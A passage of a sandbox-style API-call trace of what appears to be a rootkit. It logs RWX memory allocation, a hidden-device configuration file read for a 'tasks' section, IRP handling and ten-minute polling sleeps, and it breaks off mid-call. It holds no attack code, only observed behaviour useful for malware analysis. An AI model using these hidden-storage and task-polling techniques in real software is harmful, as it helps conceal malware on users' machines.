_strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.526] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.526] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.526] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.526] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdab60 [0119.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.526] KeLeaveCriticalRegion () [0119.526] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.526] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.527] KeEnterCriticalRegion () [0119.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.527] KeLeaveCriticalRegion () [0119.527] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.527] KeEnterCriticalRegion () [0119.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.527] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.527] IdePortDispatch () returned 0x103 [0119.527] KeWaitForMutexObject () returned 0x0 [0119.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.527] KeLeaveCriticalRegion () [0119.527] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.527] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.527] KeEnterCriticalRegion () [0119.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da1000 [0119.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.527] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.527] IdePortDispatch () returned 0x103 [0119.527] KeWaitForMutexObject () returned 0x0 [0119.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.528] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.528] IdePortDispatch () returned 0x103 [0119.528] KeWaitForMutexObject () returned 0x0 [0119.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.528] KeLeaveCriticalRegion () [0119.528] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.528] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.528] KeEnterCriticalRegion () [0119.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.528] KeLeaveCriticalRegion () [0119.528] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.528] KeEnterCriticalRegion () [0119.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.528] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.528] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bda740, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.528] KeLeaveCriticalRegion () [0119.528] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.528] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.529] KeEnterCriticalRegion () [0119.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.529] ExFreePoolWithTag (P=0xfffffa8003bdab60, Tag=0x0) [0119.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.529] KeLeaveCriticalRegion () [0119.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.529] ReleaseMutex (hMutex=0xf0) returned 1 [0119.529] Sleep (dwMilliseconds=0x927c0) [0119.544] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.544] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.544] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.544] KeEnterCriticalRegion () [0119.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.544] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.544] IdePortDispatch () returned 0x103 [0119.544] KeWaitForMutexObject () returned 0x0 [0119.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.544] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.544] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.544] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.544] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.544] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.544] KeLeaveCriticalRegion () [0119.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.544] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.544] KeEnterCriticalRegion () [0119.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.545] KeLeaveCriticalRegion () [0119.545] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.545] KeEnterCriticalRegion () [0119.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.545] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.545] IdePortDispatch () returned 0x103 [0119.545] KeWaitForMutexObject () returned 0x0 [0119.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.545] KeLeaveCriticalRegion () [0119.545] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.545] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.545] KeEnterCriticalRegion () [0119.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da6000 [0119.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.545] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.545] IdePortDispatch () returned 0x103 [0119.546] KeWaitForMutexObject () returned 0x0 [0119.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.546] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.546] IdePortDispatch () returned 0x103 [0119.546] KeWaitForMutexObject () returned 0x0 [0119.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.546] KeLeaveCriticalRegion () [0119.546] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.546] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.546] KeEnterCriticalRegion () [0119.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.546] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.546] KeLeaveCriticalRegion () [0119.547] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.547] KeEnterCriticalRegion () [0119.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.547] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdaa30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.547] KeLeaveCriticalRegion () [0119.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.547] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.547] KeEnterCriticalRegion () [0119.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.547] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.547] KeLeaveCriticalRegion () [0119.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.547] ReleaseMutex (hMutex=0xf0) returned 1 [0119.547] Sleep (dwMilliseconds=0x927c0) [0119.560] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.560] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.560] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.560] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.560] KeEnterCriticalRegion () [0119.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.561] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.561] IdePortDispatch () returned 0x103 [0119.561] KeWaitForMutexObject () returned 0x0 [0119.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.561] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.561] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.561] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.561] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.561] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda9d0 [0119.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.561] KeLeaveCriticalRegion () [0119.561] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.561] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.561] KeEnterCriticalRegion () [0119.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.561] KeLeaveCriticalRegion () [0119.561] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.561] KeEnterCriticalRegion () [0119.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.561] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.561] IdePortDispatch () returned 0x103 [0119.561] KeWaitForMutexObject () returned 0x0 [0119.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.562] KeLeaveCriticalRegion () [0119.562] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.562] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.562] KeEnterCriticalRegion () [0119.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dab000 [0119.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.562] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.562] IdePortDispatch () returned 0x103 [0119.562] KeWaitForMutexObject () returned 0x0 [0119.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.562] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.562] IdePortDispatch () returned 0x103 [0119.562] KeWaitForMutexObject () returned 0x0 [0119.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.562] KeLeaveCriticalRegion () [0119.562] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.563] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.563] KeEnterCriticalRegion () [0119.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] KeLeaveCriticalRegion () [0119.563] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.563] KeEnterCriticalRegion () [0119.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.563] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bda3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] KeLeaveCriticalRegion () [0119.563] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.563] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.563] KeEnterCriticalRegion () [0119.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] ExFreePoolWithTag (P=0xfffffa8003bda9d0, Tag=0x0) [0119.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] KeLeaveCriticalRegion () [0119.563] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.563] ReleaseMutex (hMutex=0xf0) returned 1 [0119.563] Sleep (dwMilliseconds=0x927c0) [0119.578] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.578] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.578] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.578] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.578] KeEnterCriticalRegion () [0119.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.578] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.578] IdePortDispatch () returned 0x103 [0119.578] KeWaitForMutexObject () returned 0x0 [0119.579] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.579] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.579] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.579] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.579] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.579] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.579] KeLeaveCriticalRegion () [0119.579] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.579] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.579] KeEnterCriticalRegion () [0119.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.579] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.579] KeLeaveCriticalRegion () [0119.579] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.579] KeEnterCriticalRegion () [0119.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.579] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.579] IdePortDispatch () returned 0x103 [0119.579] KeWaitForMutexObject () returned 0x0 [0119.579] _strnicmp (_Str1="cfg.ini", 